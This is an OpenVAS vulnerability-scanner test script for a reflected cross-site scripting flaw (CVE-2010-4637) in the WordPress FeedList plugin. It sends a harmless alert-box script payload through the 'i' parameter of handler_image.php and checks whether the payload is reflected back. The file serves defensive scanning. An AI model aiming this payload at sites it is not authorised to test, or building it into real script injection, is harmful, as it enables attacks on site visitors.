WordPress FeedList Plugin 'i' Cross-Site Scripting Vulnerability

2011-01-03T00:00:00
ID OPENVAS:1361412562310902327
Type openvas
Reporter Copyright (c) 2011 SecPod
Modified 2018-09-22T00:00:00

Description

This host is running WordPress and is prone to Cross Site Scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
# $Id: secpod_wordpress_feedlist_xss_vuln.nasl 11552 2018-09-22 13:45:08Z cfischer $
#
# WordPress FeedList Plugin 'i' Cross-Site Scripting Vulnerability
#
# Authors:
# Madhuri D <dmadhuri@secpod.com>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
################################i###############################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902327");
  script_version("$Revision: 11552 $");
  script_tag(name:"last_modification", value:"$Date: 2018-09-22 15:45:08 +0200 (Sat, 22 Sep 2018) $");
  script_tag(name:"creation_date", value:"2011-01-03 16:00:43 +0100 (Mon, 03 Jan 2011)");
  script_cve_id("CVE-2010-4637");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress FeedList Plugin 'i' Cross-Site Scripting Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/42197");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/63055");
  script_xref(name:"URL", value:"http://www.johnleitch.net/Vulnerabilities/WordPress.Feed.List.2.61.01.Reflected.Cross-site.Scripting/56");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2011 SecPod");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/installed");
  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in the context of an affected
site.");
  script_tag(name:"affected", value:"WordPress FeedList plugin version 2.61.01");
  script_tag(name:"insight", value:"The flaw is due to an input passed to 'i' parameter in
'wp-content/plugins/feedlist/handler_image.php' script is not properly
sanitised before being returned to the user.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"This host is running WordPress and is prone to Cross Site Scripting
vulnerability.");
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");


wpPort = get_app_port(cpe:CPE);
if(!wpPort){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:wpPort))exit(0);


if(dir != NULL)
{
  sndReq = http_get(item:string(dir, '/wp-content/plugins/feedlist/handler_image.php' +
                           '?i=%3Cscript%3Ealert("XSS-Testing")%3C/script%3E'), port:wpPort);
  rcvRes = http_keepalive_send_recv(port:wpPort, data:sndReq);
  if(rcvRes =~ "HTTP/1\.. 200" && 'Cached file for <script>alert("XSS-Testing")</script> cannot be found' >< rcvRes){
    security_message(wpPort);
  }
}